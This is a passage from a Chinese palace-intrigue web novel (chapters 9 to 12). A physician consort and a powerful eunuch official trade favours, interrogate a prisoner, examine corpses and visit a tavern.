“我倒是不明白了。”她摇头表示自己的疑惑。
眼前的男人面相姣好，较于常人他的五官棱角显得分外柔和，腻人的狐狸眼狭长幽深，眼尾微扬上翘，媚态横生。
此刻，他的嘴角勾出一个浅显的弧度，露出一抹十分邪气的笑。
常聿不言，逢潭亦是。
两人心领神会地再相视一眼，而后又不言而喻地同时错开。
进宫这么久，影莲破天荒头
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一次的感受到逢潭心情颇佳。
常聿走后，逢潭遥望头顶匾额。
“……”
这一刻温婉娴柔的皮囊之下，眼底眸光森然与悲悯错纵交织。
当初她明知自己涉嫌谋害东宫一事引了皇后芥蒂，却仍旧当着众目睽睽之下，向皇后进献自己亲手所制的药囊，表面本意，看似是想借此向皇后示诚，实则那不过就是一个契机。
正如那晚她同旖月所说的那样……
没有谁会不求回报的在别人身上花心思。
今日之景，才是逢潭真正想要实现的。
她还没有蠢到会试图用一个小药囊来抹消皇后对她猜疑的地步。
逢潭不得不承认，想要拿捏一个母亲的心......孩子便是最好的筹握。
*
接下来的小半个月里，李婕妤对逢潭的态度日渐有了转变。
逢潭观她眼下青袋消褪了不少，方知自己给她的方子，她是照用并且起了效的。
只是……
李婕妤即便得了安枕，气色仍是愈加差了，甚至还比以往多了偶感头晕以及心悸的症状。
逢潭浅浅一笑，试探性地开口：“李姐姐，可愿容我为你把下脉？”
李婕妤性情平宜，而今才又受了逢潭帮助，自是容许的，于是回以她同样的微笑。
逢潭礼貌的将纤指搭在那处细腻的酥腕上，随即心下一颤。
“……”
果不其然。
手底下的脉象如预想的那般细弱无力。
李婕妤瞧着她似模似样的神情，忍俊不禁。
这小丫头的架势，竟真与那些正经郎中有七八分像。她见逢潭许久没有反应，柔声询问道：“逢大夫，我与腹中的胎儿可好？”
逢潭面上不显，笑而不语。
......
近几日绵雨下的愈加勤了，这才不过一会儿的功夫，前不久外头还放晴的天，转瞬就阴了下来。
李婕妤抬头轻轻唤了声门口的黛竹，早就候着的几个婢子得了黛竹的示令，井然有序地将盘盘丰富的菜肴放到桌上，一时间那股股荤腻的气味，蓦然充斥在逢潭鼻间，使其忍不住皱了皱眉。
“……”别说是尚在孕中的妇人，就是连逢潭闻了都毫无食之欲望。
李婕妤从床上下来，拉起逢潭的手：“我与妹妹之前素未谋面，妹妹却屡次救我于水火，我这个做姐姐的实在难表心中感激。”
“眼瞧着外面的天儿不好，妹妹如若不嫌弃，就留在我这用完膳再走吧？”
逢潭看了眼院子，细雨如丝雾蒙蒙的，即使等下打了伞，衣裳也难免会被风中夹带的雨水浸湿。
她索性朝李婕妤福了福身，道：“叨扰李姐姐了。”
逢潭在桌前坐下，眼睛在众多佳肴上来回打量。
从李婕妤的脉象上而论，她当真能吃的下去吗？
“怎么了，可是不合你的胃口？”李婕妤道。
逢潭意识到自己的行为似是有诸多不妥，忙摇了摇头，朝面前距离最近的一道菜伸筷：“……”
这是......慈菇？
9. 互利
上一次逢潭趁李婕妤昏过去的间隙，草草摸了一把她的脉象，明显感知她体内阴盛阳衰，纵而推测她夜里不能安枕。
而此刻碗中的慈菇又刚好性凉，过多食用只会让她的体内寒症愈来愈严重。
这从她方才迟而缓的脉搏上，也得到了证实。
加之她不思茶饭，可见以至脾胃虚弱，厨房还净给她上些荤腥油腻的菜肴，使她虚不受补……
这环环相扣，断不能是巧合之说就可以解释的。
先前因着天冷和面施粉黛的缘故，逢潭不曾注意，李婕妤面色苍白暗淡，现如今已然是贫血较为严重的情况了。
可见太医大抵也并未如实的告知她身体的状况。
照此以往下去，李婕妤定然是熬不到足月生产的。
一个孕中受匮、不足月的早产儿……
在这个医疗条件不完善的时代，最后是否能存活下来都是未知的。
“……”逢潭心中冷笑。
常聿真的太了解这皇宫的手段了。
即使因逢潭的搅局，害的皇后一时失了手，却也丝毫不影响后面的发展。
同时，逢潭也在心中庆幸，还好自己两次都涉及太子，准确无误地拿捏到了一个慈母的软肋。
“你在想什么？”李婕妤抚上她的手背，道：“你若吃不惯，我让他们再去给你做。”
逢潭笑着摇摇头：“哪有那么娇气？只是……”
李婕妤：“嗯？”
逢潭道：“妹妹我素来体寒，很少吃这种性凉的东西。”
“这个，”李婕妤指了指逢潭碗中的慈菇：“性凉？”
逢潭点头，而后朝她会心一笑道：“姐姐可知我为何身子不好？”
“生我的姨娘在怀我时贪嘴，吃了很多性凉的东西，使得我在胎中时先天发育不好，故而在婴孩时候，体质就比旁人要弱了很多....”
“……”
逢潭该说的已经言尽于此，能不能悟过来...接下来全凭李婕妤自己。
倘若她是个聪明的，在目前的节骨眼上能够及时止损，即使后天孩子不似常人那般康健，但好歹能够平安诞生。
这是逢潭给她的路。
可她若是个愚笨的.....
那就要走常聿为她安排的另一条路了。
*
回去的路上，逢潭途径慎贵妃的住处，常聿随着帝王从里面出来，与逢潭打了个照面。
逢潭恭谨地福了福身：“陛下万安。”
帝王眼熟一阵，欲言又止：“是……？”
“回陛下，是逢美人。”常聿回应道：“之前在太子生辰的时候见过。”
逢潭：“……”
谢谢哈，但是婉拒了。
也不必介绍的这么清楚……
经他一提醒，帝王记起来了：“爱妃这是见好了？”
这种话，自上一年腊月底，几月以来，逢潭听得耳朵都快起茧子了。
她习以为常地答道：“承蒙皇恩庇佑，嫔妾自上回见过陛下以后，身子是一天比一天好了。”
常聿：“……”
这个女人说话还真是张嘴就来。
帝王闻言，已现岁月的眼角眉梢瞬间荡开笑意，伸臂将逢潭揽进怀中：“朕就喜与爱妃说话。”
逢潭娇俏地眨了眨眼。
随即，他们边走边道：“爱妃这是从哪来啊？”
逢潭柔声道：“嫔妾方才去了李姐姐那儿。”
帝王很有兴致的附和道：“那日李婕妤在长街昏倒一事，属你功不可没。”
逢潭撇了撇嘴，似是对帝王的话有些不满意：“陛下这说的是何话？”
“那李姐姐怀的可是陛下的骨肉，嫔妾自然是要上心的！”
常聿鄙夷地睇她一眼。
逢潭视若无睹地靠在帝王怀里，眼波流转间，那狡黠的模样活像只成了精的小狸花猫猫。
当初虽说是她先主动向常聿示好投诚，可却全然没有借势依附该有的模样。
逢潭很清楚他们之间这个互利共赢的关系，因此非但一点不避讳他，且更不似陈必房那些人般虚与委蛇的对他刻意讨好。
“哦对了，”帝王忽然道：“刑部的那个案子，从今以后全权交由你手下的御抚司去办了。”
常聿颔首：“微臣会亲自跟进，尽快结案。”
帝王欣慰道：“有爱卿做朕的臂膀，朕真是愈发安逸了。”
随即他又同常聿继续议起那会儿被打断的政务，时不时还问及逢潭几句，逢潭频频摇头，示意自己不懂。
很快就走到了帝王的寝宫。
谁知还不待几人落脚，宫里的小太监就龟着腰上前禀报道：“陛下，姜太傅已经在勤政殿恭候您多时了。”
帝王不耐地啧了一声，满腹不解道：“这个时候他来做什么？”
“……”他看了眼怀里的逢潭。
逢潭十分懂事地说道：“陛下，政务要紧。”
帝王这才不舍的松开手：“朕过几日就去看你。”
“……”
两人遥望愈走愈远的帝王背影，常聿冷眼道：“想不到贵人在这方面还有如此高深的造诣。”
逢潭平静回以：“彼此彼此。”
常聿问：“才从李婕妤那儿回来？”
逢潭知道他要问什么，于是直接答道：“一切都在计划之中。”
男人最后睨她一眼，迈了步子刚要踏出，便听身旁的人淡淡开口：“你，”
“去帮我搞样东西。”
常聿回看她：“你这是在命令我，还是……请求我？”
逢潭蹙眉：“这两者有区别吗？”
她退而求其次道：“常大人，咱们之间还用得着分你我？”
默了良久，常聿才又道：“即不分你我....”
“那贵人也帮我做件事吧。”
...
天色渐昏，沿街两旁的小贩摊位上，盏盏支起的鹅黄灯笼似头顶月盘低挂，别有一番繁华意境。
之前逢潭和阿悦住的村子不过巴掌大小，用不了一个时辰便能逛全村一圈。
起先逢潭只在村子里行医问诊，接着没过多久，她的名声在方圆十里传开了，逐渐开始有不少人纷纷下乡，就为寻她。
再后来，她顾及有些家中老人行动不便，索性就带着阿悦，每隔段时间便到附近的市集坐诊一趟。
由于每次去的地方不一样，所以摊位也不固定，往往都是哪里有空位，她们就在哪里开张。
钱收的不多，上至地主老爷，下至矜寡乞丐，每个人都看得起，二人也足够果腹御寒。
“……”
逢潭全身心地感受着这份热闹美好，仿佛这是多
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么平常的一个傍晚，她与阿悦收了摊子，漫步在市集，吃吃喝喝，乐此不疲地一步一步走回家。
“这是……”
不知是谁先出声打破了这份悠闲安逸的烟火氛围
“是，是常聿！传闻中那个阴狠手辣、惨无人道的内侍臣！！”
“……”
逢潭化作侍卫的模样跟在常聿马下：“这架势是不是有点太兴师动众了？”
常聿眸子一低，注意到她眉宇间，头一次毫不遮掩的显露出不悦，漫不经心道：“微臣所到之处，向来如此。”
逢潭道：“你也是够嚣张的，就这么把我带出来了。”
常聿反问：“我瞧你不也答应的挺痛快？”
逢潭：“……”
“天塌了这不还有你顶着吗。”她学着常聿吊儿郎当的姿态道。
何况就算被帝王发现了，那又怎么样？
凭她一个手无缚鸡之力的弱女子，背后要是没什么人，她还能自己上天了不成？
没走两步，她心有不甘地再次皱眉看向马鞍上的人：“为什么你骑马，我偏要用走的？”
常聿欠欠的回她：“你会骑吗？”
逢潭不满道：“你又没问我。”
她愤愤扭头不再看他，视线归到围绕道路两侧的百姓身上。
有一点，逢潭虽然很不想承认，但……
眼下的行为虽然装，但也确实爽！
两人一路上，就这样有一搭没一搭地来到刑部。
常聿勒住缰绳，却依旧纹丝不动地坐在马上。
直至他们身后的一个下属，轻咳一声，上前提醒道，逢潭这才了然顿悟：“……”
原来这是等她扶呢！
逢潭哑然：“干什么？下马都要人扶？”
常聿道：“不比贵人在宫里被人伺候惯了。”
“微臣还不能使唤贵人一次？”
逢潭：“……”
左右两人都是个倔性子，一时竟没有任何一方低头。
逢潭：“……”
算了，自己还得靠他回去。
要是现在把他惹毛了，保不齐等会儿就把她丢外面了。
回头他要是再在帝王面前说些什么，逢家怕是也就没戏唱了。
逢潭哀叹一声，任命的朝常聿伸出手。
常聿礼貌地道了声：“多谢。”
逢潭：“……”
随即，下属递过来一块手帕，常聿慢悠悠地擦了起来。
果然人在极致无语的情况下会忍不住想笑。
此时此刻，常聿再度让逢潭体验了一把什么叫身有所悟。
她真得快要被他气笑了。
而常聿貌似很是乐见她吃瘪的样子，心中那点属于男人的恶趣味逐渐开始作祟。
他朝逢潭偏头示意：“请吧，贵人。”
逢潭皮笑肉不笑的目不转睛地盯着他。
紧接着只听她“哎呀”一声，根本不容常聿闪躲，不仅脚下踩在常聿的鞋面上，两条胳膊更是几乎整个挂在他的臂膀。
她讪讪道：“真是对不住啊常大人~”
“要不您再擦擦呢？”
常聿：“……”
逢潭笑吟吟看着他：“多擦一会儿，咱不着急。”
“实在不行，咱把衣服脱了也成。”
常聿：“……”
10. 他该
“大人！大人！！”刑部的书吏着急忙慌地跑到大堂，临了了还被门槛绊了个踉跄：“完蛋了完蛋了！完！蛋！了！”
他捂着屁股从地上爬起来道：“出大事了！！！”
刑部尚书拍拍桌子，斥责道：“光天化日之下，朗朗乾坤！能出什么大事？还能天塌了不成？！毛手毛脚的....”
“常大人来了！”
“谁？！”
刑部尚书登时一个激灵，甚至怀疑自己的耳朵听错了。
书吏喘着气道：“常聿！常大人！已经到咱家门口了！”
刑部尚书：“……”
完了。
这下刑部的天真塌了。
刑部尚书下巴一松，夺门而出，指着已见星点的天：“这么晚了，他来干什么？！”
书吏道：“您忘了吗？今早陛下已经下令将采花贼的案子交由御抚司了！”
.....居然把这茬给忘了！
“走走走……”快去迎快去迎。
“尚书大人这是要上哪啊？”说话的依旧是那个在门口提醒逢潭的不知名下属。
逢潭抽空仔细端详了他两眼，只觉这人的气质陌生的很，跟后面的那些影卫不太像一道的，也不像宫里的人...
一道凛声从头顶上方响起：“你看什么？”
逢潭当即收回视线，朝常聿干笑两声：“...你这小弟，长得是真不错！”
她在心中感叹，还真是人靠衣装，佛靠金装.....
她差点都要忘了，自己眼前的常聿还是个大太监来着。
单从气质上看，不也照样看不出来。
刑部尚书连连摆手道：“这不是听下人们说，常大人大驾嘛，咱能上哪？当然是去刑部门口迎接了！”
这些人都是惯有眼力见的，刑部尚书知道常聿的此番意图，立马招呼身边的书吏，示意让他给自己研磨，当即拟了一封手令，而后呈到常聿面前。
逢潭又看一眼那下属，见他岿然不动，自己识相地上前接过。
随即跟着他们“凶神恶煞”的去刑部监牢提人。
一来二往的，天色已经黑的彻底，逢潭在心里估算了下时间，转头对常聿道：“常大人，您接下来要去审案子了吗？”
常聿冷眼看她。
逢潭暗里翻了个白眼：“我看大人挺忙的，一时间应该也无暇顾及我。”
“眼下我也出来了，索性我要的东西我自己去搞来就是了。咱约个时间，在哪会面，然后回家？”
常聿道：“贵人知道的，微臣从来不做单向交易。”
逢潭沉默片刻，蓦地想明白了。
敢情常聿这厮把她带出来，是想让她助自己办案。
逢潭沉脸叫了他的名讳：“.....常聿。”
“你手下的人都是养尊处优的笨蛋吗？”她神情严肃又认真：“他们不干事的？”
常聿嘴角一扬，懒洋洋开口：“不一样。”
逢潭追着他的尾音：“什么不一样？”
“他们要钱的。”
“……%￥#@￥”
他爹的！！！
饶是逢潭这样情绪向来稳定的人，也是再忍不住，直接被气笑了。
合着自己不要钱，是个免费劳动力呗！
大学生实习都没有这么霸王的条款！
“……”
逢潭突然不说话了。
常聿挑眉，垂眼看她。
面前的女子身量纤小，身上的男人衣裳不合尺寸，东藏西掖的才勉强合身。
逢潭埋着头，肩膀微微颤抖，随后眼泪一滴接着一滴地砸在地上。
常聿在一旁抱臂站着，不为所动地看她哭。
良久，他开口叫了她一声：“逢潭。”
“……”
这还是常聿第一次这么叫她。
下一刻，只听常聿冷声道：“你的眼泪对我没用。”
他不是那位帝王。
他不吃她这套。
逢潭依旧沉默地低着头。
常聿：“……”
...
“欢迎进店，随便挑随便选啊，相中哪个可以上手试试……”窝在柜台后的店掌柜，此刻正悠哉悠哉地躺在摇椅上，津津乐道地看着手中的书。
走近了，才看清书封上面赫然写着四个大字：孙子兵法。
“？？？”那掌柜的先是一愣，随即狐疑地往下拉了拉脸上的墨色叆叇：“嘶……”
这才顺着柜台倒映的两道阴影，抬起头：“......二位客官需要点什么？”
“咱们琴社最近可是刚到了几件品色音色都称之为绝佳的乐器。”
只见那长相偏女子的男人，大手一挥，阔气道：“都要！”
掌柜面露难色，复而委婉道：“要不，我先拿一件给您看看？”
生意人的言下之意无非就是和钱有关。
逢潭对着掌柜莞尔一笑，头也不回地朝身后之人伸手：“拿来。”
不知名张了张嘴，属实不知该如何称呼她，只得作罢：“是不是有点……”
逢潭冷哼一声：“他该！”
最后，店掌柜站在琴社门口笑脸相送地目送逢潭他们离开：“小的保证，一定完好无损的给二位爷送货上门！”
*
昏黄的油灯悬挂墙壁两侧，阴湿的环境里血腥气弥漫，让人不自觉地下意识想要屏息。
常聿站在光下，周身折影像是吞噬人的阴霾，眸底似寒潭般冰凉刺骨，他淡淡一嗤：“嘴挺硬。”
“不过本官就欣赏你这样的，”他哂然一笑：“希望等下你也能维持这副姿态。”
那犯人血肉模糊地被吊在水池上方，远远望去唯有被鲜血浸透的衣衫，身上看不到任何一处好地。
原先还能见他嘴唇微弱地翕张，下一秒不知他看到了什么，整个瞳孔骤然失色的缩到一起。
逢潭疑惑的回过头：“……”
视线落到蛮枝他们手上，神色微惊。
他们抬着的，不正是上次东宫里的那条大长虫吗？
随后，在他们一干人马上经过逢潭时，蛮枝忽然脚下一顿。
那大长虫本是一副正襟危坐相，仿若知道自己肩负了多么神圣伟大的使命一样。它在蛮枝停顿的这一刹那，也蓦然随着转了头：“？”
蛮枝：“逢……”
“.....快走你的。”逢潭催促。
“……”
大长虫被停在犯人脚下。
它很上道的先钻进面前的水池里，待整个身子浸在里面泡了一会儿，才不紧不慢地攀枝般缠绕上犯人的脚踝……
犯人开始痉挛的颤动起来，牵动着锁链叮铃当啷作响。
逢潭偏头小声问那个下属：“那里头放的不会是盐水吧？”
常聿眼眸闪过嗜血的疯狂：“你尝尝。”
逢潭：“……”
她蹙了蹙眉，感觉....现在
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的常聿有些说不出的怪异。
“我的意思是，回头给他找个大夫瞧瞧，他要是死了，这案子也就到这儿了。”
须臾过后，大长虫得了指令，从犯人身上下来，盘在常聿脚边。
“你。”
逢潭：“？”
常聿淡淡道：“过去看看。”
逢潭乖顺地提了步子走到水池边，见常聿没有要放犯人下来的意思，她只能垫脚去看。
这是被疼晕了？
她半犹豫地收回视线，视角的余光瞥到边上出现一团突兀的黄色……
那大长虫竟不知什么时候跟着她一起过来了。
“你，”逢潭感觉自己也不太正常了，居然开始跟一条动物说话：“没使劲勒他吧？”
大长虫对着她吐了吐芯子。
“要不，你咬他一口？”
大长虫又吐了吐芯子，好似听懂了逢潭的话，接着就开始扭动身躯。
“……慢！”逢潭于心不忍道：“算了吧，咬一口也挺疼的。”
“你吓唬吓唬他就是了。”
说着，她就去找了一个容器，然后给它里面灌满池子里的水，果断了当地朝犯人泼过去。
大长虫：“……”
众人：“……”
难以言喻的灼烧感遍布全身，盐水咬到伤口似无数根细针钻入。
那犯人痛醒，睁开眼的一瞬间，映入眼帘的就是一条对着他张开血盆大口的长虫。
犯人使了劲地喊出一句：“杀生不虐生！”
蛮枝道：“跟你们做的那事比，这才哪儿到哪儿？”
常聿漠然置之道：“继续。”
逢潭弯腰佯装又去池里灌水。
犯人一口闷血吐出来：“我说还不行吗？！”
“李...李家那个是...是被我先奸后杀了。”
常聿道：“不对。”
他屈指示意了一下，那用来捆绑犯人将他吊起的锁链一瞬松了下来。
犯人直接掉到了逢潭面前：“……”
不能让他死了，还得让他说实话....
她想了想，于是解开束紧的袖口，翻出一包银针。
这是逢潭的习惯，本来是为了应付突发事况救人用的，不曾想有朝一日竟还能在审犯人上大展一番宏图。
常聿道：“从现在开始，最后一次机会。”
“问一句，答一句。”
“王陈李顾。”
“有我！都有我！”
“几人？”
“算上我三人。”
“死因。”
“……”
细长的银针扎入穴位，半边身子失了知觉。
“和...和...和李家...一样。”
“背后指使之人。”
“……”
直至第四根银针扎入，周围的空气开始变得绵薄，他艰难道：“....真不知道。”
*
在诏狱呆久了，整个人身上都寒浸浸的。即使已经深吸了好几口外面的空气，可逢潭仍是觉得鼻息间萦绕着挥之不去的血腥味。
从黄昏折腾到现在，逢潭的太阳穴突突直跳，她疲惫地开口：“回去吧。”
常聿没有说话。
蛮枝道：“.....贵人，已经子时了，宫门落钥了。”
逢潭：“……”
常聿漫不经心地掂量了一下掌中的钱袋：“微臣的钱，贵人用得可还舒心？”
11. 挑逗
逢潭神态自若：“常大人腰缠万贯，我很是满意。”
常聿下颌微扬，泰然道：“贵人满意就好。”
逢潭想了一下，还是没忍住问了：“今晚跟我一块的那个人....”
常聿沉声：“与其在意旁人，贵人不若先在意一下自己。”
“什么？”
常聿漠然道：“眼下宫门落钥，贵人打算何去？”
逢潭：“……”
“微臣倒是在宫外也有府邸，自不用担心无处可去。”常聿佯作思考道：“可贵人....”
逢潭：“……”
她深吸一口气，脸上勉强挤出一个微笑：“我觉得....常大人应该不忍心看我流落街头的。”
常聿道：“也不是没想过。”
“……”逢潭面上正色道：“常聿。”
常聿懒散回以：“微臣在。”
她薄嗔浅怒：“你真是个道貌岸然的小人。”
常聿敛下眼，神情平淡的阴侧一笑：“贵人表里不一与我半斤八两。”
......
天还没亮，逢潭困意浓深地被常聿送回了娴苌宫。
旎月已然候在院中等待，见两人同进，她没有多问，简单为逢潭修整一番，转而随着她匆匆去了皇后宫中。
逢潭请安回来，见常聿尚在，温婉的眉间露出些许躁意。
接着还不待她说话，常聿先站起身：“走吧。”
“？”
兴许是她还没睡醒的缘故，一时间竟没有反应过来常聿的话。
走？
走哪去？
常聿瞧她神情浮现出鲜有的迟钝，复而道：“继续。”
“……”逢潭隐晦问及：“万一有人找我？”
常聿嗤然：“看来贵人还真是不清醒。”
逢潭：“……”
“贵人真是有够忘恩负义的。”常聿进宫前是有换过衣裳的，他长睫压下阴影，慢慢靠近，逢潭闻见他身上那股独有的冷香气：“昨晚贵人吃我的，睡我的，花我的。”
“而今一觉睡醒，贵人就翻脸不认账了？”
他趁逢潭此刻呆顿，言语极为暧昧，似有恶趣的挑逗之意。
逢潭：“……”
“微臣依稀记得，贵人曾说过，咱们之间....不分你我。”常聿还在步步紧逼，显然是想得到她的反应：“嗯？”
逢潭闻言抬起清浅疏凉的双眸，迎上他投来的灼灼视线，与他四目相对。
默了两秒，她仅是微微叹了口气，妥协道：“我既有需于大人，那自然是不会不帮的。”
言罢，逢潭看向旖月，旖月朝她轻轻点头：“贵人安心，奴才们知道怎么做。”
*
马车上，逢潭提议，不如先再去看一眼尸体。
常聿好整以暇地撑头看她：“不怕？”
逢潭莞尔：“跟大人比，差远了。”
常聿：“……”
倘使逢潭真的觉得他比那些东西都可怕，势必也就不敢在他面前这么说了。
所以常聿自是明白，逢潭这话是故意说给他听的。
经一晚过后，逢潭也将他悟了个透彻。
常聿这个人，表面看着人模狗样，身居高岭，实则内里就是小孩心性，恶趣味十足。
就像他身边所接触的大多数人，即使对他心生异样，却也不敢表露，面上始终都是对他持有敬畏的，因此他就理所当然的认为，逢潭也会如此。
然而对付这种幼稚行为的最好办法，就是顺着他来。
他心中没趣了，自然就安生了。
....
面前的四具尸体被白布遮身，又因天渐暖的缘故，周围已经隐隐充斥着轻微的尸臭味。
“常大人。”
常聿不明地等着她继续说。
逢潭扬了扬下巴，示意道：“掀开。”
常聿：“……”
“愣着干什么。”逢潭挑眉催促道：“大人英勇一世，总不能忌讳这个吧？”
只听她话中的最后一字音调还未落，常聿倏然提剑将面前最近的那张白布撩上空中。
蛮枝拿着先前仵作留下的尸格，跟在她一旁协助。
逢潭对尸检这方面的涉猎其实并不深，仅在家中从事法医行业的堂亲口中听过几许，加之这里的条件受限，使之很多方面都是不确定性的。
如若单从死者死相、死后反应以及尸体僵硬程度等显性的条件下预量，不完全排除凶手有意在尸体上作假，混绕试听等情况出现。
逢潭拿下遮挡尸气的锦帕，而后附在其中一名死者手腕。
人在死后，身体并不会第一时间就发生变化，而是根据当下的气温、湿度、存放环境等因素结合，而逐渐产生的。且这些情况，都是可以后天人为决定的，故而假使凶手对此也有了解，那么他完全有可能会更改这些条件，从而起到延缓尸体发生反应的时间。
但……
仅仅这些，却并不足以改变那些肉眼看不见的地方，产生的隐性反应。
常聿饶有意味地靠在椅子上，视线随着逢潭动作来去。
不过片刻功夫，他便捕捉到逢潭眼底有一瞬流露出的微末喜色。
“发现什么了？”
逢潭讶异他眼睛精锐的间余，侧头问道：“时间。”
蛮枝愣住，“啊”了一声，反应过来回道：“三月十五，四天前。”
逢潭摇头：“不对。”
“人在咽气的死后瞬间，心脏是同时第一个发生反应的，届时体内血液与氧气循坏终止，五脏六腑会随之渐渐失去供应，从而衰竭，这是不可逆的。”
“脾至是绝，四日死。”她平静道：“而她的肾脏却已然发生了变化....”
“她死了至少七日。”
逢潭又问：“死因是？”
“中毒。”
她沉默地观望了死者几秒，转身拿起案上的银针，刺入这名死者颈侧：“……”
银针发黑。
她眼睫微眯，尸体一旦开始出现腐败，代表体内原有的细胞死亡并产生细菌，从而进行分解，且分解的过程中会产生各种化学物质，其中包括硫化物，也就是砒霜中的一种所含有毒性的成分。
随即逢潭又撩开她脖间的青丝，映入眼帘的是一道紫红的勒痕：“不一定。”
蛮枝被她的行为以及言论惊吓到，他下意识去看常聿，只见常聿神色舒扬，兴致仿若极高。
逢潭将自己验过的这名死者的仪容整理一番，而后朝常聿示意：“再验。”
*
“你还吃的下去？”
酒楼里，逢潭头也不抬道：“这有什么？”
常聿
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问：“你一礼部尚书千金，进宫前身处闺阁，竟还有这般能力？”
先是懂得药理，后能娴熟探脉由病，审讯犯人也是恰到好处的准确无误的施针穴位，今在验尸上，尚且又能议出个一二……
她从何学得这些手艺？
“……”逢潭淡然笑之，反问：“我的背景如何，大人难道还不清楚吗？”
以常聿脾性，怎么可能会用一个底细不清的人？
常聿道：“你自幼远离京城，被逢光送到远离京城的庄子上养着。”
逢潭冲他一笑：“大人何必戳我痛处呢？”
常聿继问：“理由是什么？”
逢潭深深看他一眼：“大人真的不知道吗？”
常聿道：“我想听听你嘴里的话。”
逢潭道：“还能因为什么？左右不过身子弱。”
她把话说完，随后自己怔了一下。
也是在方才说话的这一刻，夏姨娘的话忽然涌上耳旁与脑间……
逢潭进宫时，逢光对外解释自己是因幼时命薄，无福消受天子脚下的雍华，无奈之下才将她送到乡下糙养着。
而夏姨娘却说，当初是因接生婆子妄言，误认为她生下时便是死胎，从而致使被迫分离数年……
先前她的重心点一直都放在阿悦被人追杀之事上，从而并未太去留心这个，如今一想，这其中的缘由到底如何，似是大有深意。
逢潭本想着再过些时日，就开始着手调查当年追杀背后的主谋，现下经常聿这么一说，倒是也间接提醒她了。
阿悦一生都是模糊的，甚至最后临死时都还被困在不明不白中。
“……”
常聿见逢潭久不说话，脸色也差了许多，以为她陷在过往里。他眉宇微蹙，犹豫着怎么将她拽回现实，忽而一阵热烈的呼声高喧，先一步将逢潭从回忆中惊醒。
两人相视一眼，随后默契转头看向台上。
舞台上，美人虽薄纱遮面，但依旧难掩丽色，纤细白嫩的手指轻抚琴弦，琴声悠扬婉转。
常聿又瞧逢潭面露毫不遮掩的欣赏之意，忽想起前不久家丁送来的话，：“你昨日买了很多乐器？”
“……”逢潭以为他开始兴师问罪了。
常聿还在等她回答。
此刻要说不心虚，那自然是假的。
昨儿个他给不知名的那个钱袋子里，光是金叶子就好几大把，险些赶上逢潭小一年的俸禄，更别提里面还有几张面值不菲的银票了……
想起那瘪了大半的钱袋，逢潭干呵了一声又一声。
常聿道：“若你有心要学，倒也可以。”
哦，原来不是来跟她算账的……
她登时扬了个好脸对以常聿，道了一声：“不用。”
常聿眼睫微眯，逢潭自幼被养在庄子里，保不齐就跟着隐世的医者学过两手。
而如今心中却是再度存疑。
若她是个养在京城的闺阁千金，倒也说得通，毕竟京中才女频出，也难说她不会为此争上一争。
可倘若将这两种极端的现象相撞，里头总归是有些说不明道不清的东西。
他揣量着逢潭，眸中意味复杂。
一首曲落，抚琴美人笑容嫣然，眼睛落在台下的逢潭身上，她心中一喜，而后打趣道：“那位俏郎君，小女子可否有幸与你相识？”
12. 闹剧
美人话落，众人纷纷顺着她的目光所及之处回头望去。
泛泛人群之中，不知是谁先扬声：“大伙儿看，这小兄弟到底是位俏郎君还是美娇娘呢？”
逢潭眸色一暗，她实在不愿跟常聿过多深究这些事。随即开口应道：“小娘子可愿与我合奏一曲？”
琵琶轴轻拧调弦，逢潭试了试音，美人媚眼如丝地向她娇俏一笑：“我们弹什么？”
逢潭右手滚揉推于弦间，泛音似鼓轻声滚动，舟入静江，泛起涟漪。
美人会心一笑，继而抬手与她附之。
琵琶与琴两声交映，时似微缕春风轻抚江面，柔和委婉；时似渔桨破水，浪花飞溅；
常聿靠在椅背，指节漫不经心地敲在桌沿。
他眸光幽幽看向台上，确如逢潭所说，她的底细，早就在第一次冒尖的时候被摸了个透彻。
朝廷命官苦寻多年的民间遗珠？
常聿以为不然。
如今，他更想听逢潭怎么说。
“……”
最后一节音止，琴音绕梁似舟过江面，飘渺悠长。台下掌声如潮，美人柔声自介：“奴家见云。”
逢潭思顿一霎，接而道：“在下隐日。”
美人被她逗乐：“期待与姑娘再奏。”
逢潭坐回常聿身边。
男人语带玩味：“贵人这是又给了微臣一个惊喜。”
逢潭道：“略有涉猎罢。弹来给大人作趣，足矣。”
最后一口羹汤下肚，蛮枝也与此同时带着供词画像寻来。
“大人，这是根据昨晚那人的口供，描绘出来的另外两人画像。”
接着他又道：“二位大人走后，新来的仵作依贵人的检点，重新又将其余三具尸体验了一遍....”
“结果如何？”
蛮枝看一眼逢潭，道：“与贵人临走时所说，完全符合。”
“每具尸体都被做了假。”
逢潭展开画像，将其中一幅拿在手中：“这……”
“画的是人吗？”
转而她又拿起另一幅，这下整个人更是面露难色。
这两幅画像中的人物：一个青面獠牙，似猛虎；一个宛如夜叉，像蜘蛛……
常聿：“……”
蛮枝：“……”
三人一时无人再说话，沉默是当下最直观的诠释。
“这人我认识啊！”
逢潭思绪回收的一息间，一只骨节分明的玉手悄然朝她伸来。
蛮枝见状出于下意识的本能，立马一个箭步过去，扼住那人手腕，斥道：“你干什么？！”
“小娘子，”那人衣冠不凡，手掌肌理细腻，没有一丝劳作的薄茧痕迹，看样子是个自小养尊处优的富家子弟：“你问我，我告诉你啊。”
逢潭被他身上的酒气熏得屏了一瞬呼吸，倏而她清亮的眸子深了几分，莞笑道：“真的吗？公子当真能帮我找到这两个人？”
那人闻言直拍胸脯：“小娘子若不信，大可以出去打听一番，论这京城中，谁人不知我谢闻识的大名？”
常聿虎口轻轻摩挲杯身，蓦地冷嗤一声。
谢闻识使劲眨了两下眼，努力看清人是谁。
随即，他脸色倏然惊变，大着舌头道：“常、常聿？”
常聿懒洋洋道：“许久未见，不曾想世子殿下还是这副德行。”
“听闻晟王限了你三月不得踏出家门一步，眼下这是期限过了？”
谢闻识看一眼逢潭，转又看一眼常聿，道：“你是他的人？”
逢潭模棱两可道：“还真是巧了不成？二位公子竟都想与我认识？”
谢闻识闻言，嘴角忽然荡起微笑：“小娘子不知道他吧？”
逢潭顺着他道：“他是？”
“他啊，是宫里的内侍！那方面不行的~你跟着他哪有跟着哥哥我快活？”
谢闻识一把将逢潭捞起，冲坐着的人道：“常大人，只能说……作为男人，你还是差点。”
“……”
*
二楼房间，层层帷帐被人撩开。
女子褪去不合身量的侍卫装扮，现袭青莺纹枝云罗裙，一头青丝柔顺散下，垂至不堪一握的蛮腰后，浅施粉黛似出泥白莲，眉眼更是温婉清冷，极具脱俗的美意。
谢闻识顾不得两臂拥抱的美人，眼睛直定逢潭身上，他将房间其余人都一一遣退，唯留下他们两人。
谢闻识道：“小娘子不仅琴艺一绝，这姿容更是妙哉。”
